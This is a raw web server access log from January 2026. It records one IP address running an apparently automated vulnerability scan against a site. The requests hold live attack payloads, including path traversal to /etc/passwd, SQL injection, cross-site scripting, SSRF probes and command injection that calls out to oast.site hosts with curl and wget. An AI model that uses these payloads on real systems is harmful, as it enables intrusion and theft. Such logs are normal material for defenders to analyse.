[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.license HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actions/seomatic/meta-container/all-meta-containers?uri={{228*'98'}} HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/elementor/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /log/view?filename=/windows/win.ini&base=../../../../../../../../../../ HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /images/..%2fcgi/cgi_i_filter.js?_tn={{trimprefix(base64_decode(httoken), HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/options.php HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/wpcargo/includes/380CxmYj1umc4n8Xbfr7Mp8ZV4J.php HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /realms/master/clients-registrations/default HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/webp-converter-for-media/includes/passthru.php?src=https://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mods/clansphere/lang_modvalidate.php?language=language&module=module%22></script><script>alert(document.domain)</script> HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=mec_load_single_page&time=1))%20UNION%20SELECT%20sleep(6)%20--%20g HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?rest_route=/pmpro/v1/checkout_level&level_id=3&discount_code=%27%20%20union%20select%20sleep(6)%20--%20g HTTP/1.1" 3426
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /contactus.php HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /adserve/www/delivery/lg.php?dest=http://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /menu/neo HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plugins/servlet/svnwebclient/commitGraph.jsp?url=%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /s/380Cxpko7KNyVaPrQrQfoPAiQRV/_/;/WEB-INF/web.xml HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /admin/ HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nagiosxi/login.php HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /contactus.php HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/snapshots HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /assets/app/something/services/AppModule.class/ HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=woof_draw_products&woof_redraw_elements[]=<img%20src=x%20onerror=alert(document.domain)> HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /contactus.php HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=the_champ_sharing_count&urls[]=<img%20src=x%20onerror=alert(document.domain)> HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /clansphere/mods/clansphere/lang_modvalidate.php?language=language%27%22()%26%25%3Cyes%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&module=module HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /owa/auth/x.js HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /calendar/calendar_form.php/%22%3E%3Cscript%3Ealert%28document.domain%29%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /contactus.php HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin.php?page=wps_pages_page&ID=0+AND+(SELECT+1+FROM+(SELECT(SLEEP(7)))test)&type=home HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/wc-multivendor-marketplace/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=tp_tp&e=g&m=s&tl=en&q=<img%20src%3dx%20onerror%3dalert(document.domain)> HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /javax.faces.resources/faces-config.xml.jsf?loc=/../../WEB-INF HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-json/guppy/v2/load-guppy-users?userId=1&offset=0&search HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /run HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-json/wp/v2/posts?per_page=1 HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /test.txt%0d%0aSet-Cookie:CRLFInjection=Test%0d%0aLocation:%20interact.sh%0d%0aX-XSS-Protection:0 HTTP/1.1" 199
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/pie-register/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /forum/?subscribe_topic=1%20union%20select%201%20and%20sleep(6) HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=ays_sccp_results_export_file&sccp_id[]=3)%20AND%20(SELECT%205921%20FROM%20(SELECT(SLEEP(6)))LxjM)%20AND%20(7754=775&type=json HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /r2w/signIn.do?urll=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin.php?page=wp_ajax_rsvp-form&tribe_tickets_redirect_to=https://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/marmoset-viewer/mviewer.php?id=http://</script><svg/onload=alert(%27380CxoUbaxr30q26qfkIyS3fGtg%27)> HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?rest_route=/podlove/v1/social/services/contributor/1&id=1%20UNION%20ALL%20SELECT%20NULL,NULL,md5('CVE-2021-24666'),NULL,NULL,NULL--%20- HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /auth_changepassword.php?ref=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/core/proxy/jsonprequest?objresponse=false&websiteproxy=true&escapestring=false&url=http://oast.live HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?SQ=0&srch=x\"+onmouseover%3Dalert%281%29+x%3D\"&t=search&btn_submit.x=0&btn_submit.y=0 HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?SQ=0&t=search&srch=380Cy3pHNqpZbVCdMHzeQIU3K7P&btn_submit=Search&field=all&forum_limiter&attach=0&search_logic=AND&sort_order=REL&author=x\"+onmouseover%3Dalert%28document.domain%29+x%3D HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin.php?page=chaty-contact-form-feed&search=%3C%2Fscript%3E%3Cimg+src+onerror%3Dalert%28document.domain%29%3E HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /patient/search_result.php HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/config?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ics?tool=search&query=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?noptin_ns=email_click&to=https://interact.sh HTTP/1.1" 3426
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /prweb/PRAuth/app/default/ HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /CFIDE/scripts/ajax/package/cfajax.js HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /pages/createpage-entervariables.action HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /druid/indexer/v1/sampler HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nagiosxi/login.php HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /passwordreset?bundle=';alert(document.domain);var+ok=' HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "DELETE /dav/server.php/files/personal/GIVE_ME_ERROR_TO_GET_DOC_ROOT_2021 HTTP/1.1" 223
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /lua/%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2ffind_prefs.lua.css HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index.php HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dav/server.php/files/personal/%2e%2e/%2e%2e//%2e%2e//%2e%2e/data/settings/settings.xml HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /lumis/portal/controller/xml/PageControllerXml.jsp HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /solr/admin/cores?wt=json HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?cpmvc_id=1&cpmvc_do_action=mvparse&f=edit&month_index=0&delete=1&palette=0&paletteDefault=F00&calid=1&id=999&start=a%22%3E%3Csvg/%3E%3C%22&end=a%22%3E%3Csvg/onload=alert(1)%3E%3C%22 HTTP/1.1" 3426
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /tools.cgi HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi/dataset_dictionary?dataset=zulu%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /misc.php?action=showpopups&type=friend HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-json/anycomment/v1/auth/wordpress?redirect=https://interact.sh?a=https://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mod/jitsi/sessionpriv.php?avatar=https%3A%2F%2Ftrade.kingston.com.hk:443%2Fuser%2Fpix.php%2F498%2Ff1.jpg&nom=test_user%27)%3balert(document.domain)%3b//&ses=test_user&t=1 HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /WEB-INF/web.xml HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /agc/vicidial_mysqli_errors.txt HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup2.cgi HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /titan-framework/lib/iframe-font-preview.php?font-type=google&font-family=%27/onerror=%27alert(document.domain)%27/b=%27 HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /listings/?search_title&location&foodbakery_locations_position=filter&search_type=autocomplete&foodbakery_radius=10%22%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=heartbeat&admin_custom_language_toggle=1&admin_custom_language_return_url=https://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /premise/front/getPingData?url=http://0.0.0.0:9600/sm/api/v1/firewall/zone/services?zone=;/usr/bin/id; HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /static?/%2557EB-INF/web.xml HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?url=http://0177.0.0.1/server-status HTTP/1.1" 3426
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /password.html HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /log_download.cgi?type=../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php/component/chronoforums2/profiles/avatar/u1?tvout=file&av=../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /new/newhttp://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /page/hello/1%22%3E%3Csvg/onload=alert(document.domain)%3E HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PATCH /redfish/v1/SessionService/ResetPassword/1/ HTTP/1.1" 222
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manage/log/view?filename=/etc/passwd&base=../../../../../../../../../../ HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /knowage/servlet/AdapterHTTP?Page=LoginPage&NEW_SESSION=TRUE&TargetService=%2Fknowage%2Fservlet%2FAdapterHTTP%3FPage%3DLoginPage%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /adminer/adminer.php HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%u002e/WEB-INF/web.xml HTTP/1.1" 226
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bludit/admin/login HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /AvalancheWeb/image?imageFilePath=C:/windows/win.ini HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /../conf/config.properties HTTP/1.1" 226
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index.php HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /HandleEvent HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /file?valore=../../../../../windows/win.ini HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ajax/networking/get_netcfg.php?iface=;curl%20d5g6sfahausljekepl20zh4hos34qgedp.oast.site/`whoami`; HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login/ HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /KeepAlive.jsp?stamp=16170297%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /uapi-cgi/certmngr.cgi?action=createselfcert&local=anything&country=AA&state=%24(wget%20http://d5g6sfahausljekepl20q85dw77kki7h7.oast.site)&organization=anything&organizationunit=anything&commonname=anything&days=1&type=anything HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?fc=module&module=productcomments&controller=CommentGrade&id_products[]=1%20AND%20(SELECT%203875%20FROM%20(SELECT(SLEEP(6)))xoOt) HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /docpicker/internal_proxy/http/oast.me HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /Config/SaveUploadedHotspotLogoFile HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /webtools/control/SOAPService HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /_ignition/execute-solution HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /RPC2_Login HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /oam/server/opensso/sessionservice HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /seo/seopanel/login.php?sec=forgot HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /openam/ui/PWResetUserValidation HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /t/index.php?action[]=aaaa HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /thruk/cgi-bin/login.cgi?thruk/cgi-bin/status.cgi%3fstyle=combined&title=%27%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /log_download.cgi?type=../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%2f/ HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /system/images/W1siZyIsICJjb252ZXJ0IiwgIi1zaXplIDF4MSAtZGVwdGggOCBncmF5Oi9ldGMvcGFzc3dkIiwgIm91dCJdXQ== HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows%5cwin.ini HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /goform/setmac HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/marmoset-viewer/mviewer.php?id=1+http://a.com%27);alert(/380CxoUbaxr30q26qfkIyS3fGtg/);marmoset.embed(%27a HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ghost/preview HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plugins/servlet/svnwebclient/error.jsp?errormessage=%27%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E&description=test HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /javax.faces.resources/faces-config.xml.jsf?con=/../../WEB-INF HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/wpcargo/includes/barcode.php?text=x1x1111x1xx1xx111xx11111xx1x111x1x1x1xxx11x1111xx1x11xxxx1xx1xxxxx1x1x1xx1x1x11xx1xxxx1x11xx111xxx1xx1xx1x1x1xxx11x1111xxx1xxx1xx1x111xxx1x1xx1xxx1x1x1xx1x1x11xxx11xx1x11xx111xx1xxx1xx11x1x11x11x1111x1x11111x1x1xxxx&sizefactor=.090909090909&size=1&filepath=380CxmYj1umc4n8Xbfr7Mp8ZV4J.php HTTP/1.1" 196
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?layout=/etc/passwd HTTP/1.1" 3426
[09/Jan/2026:10:51:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ssoAdapter/logoutAction.do?servProvCode=SAFVC&successURL=https://interact.sh/ HTTP/1.1" 196
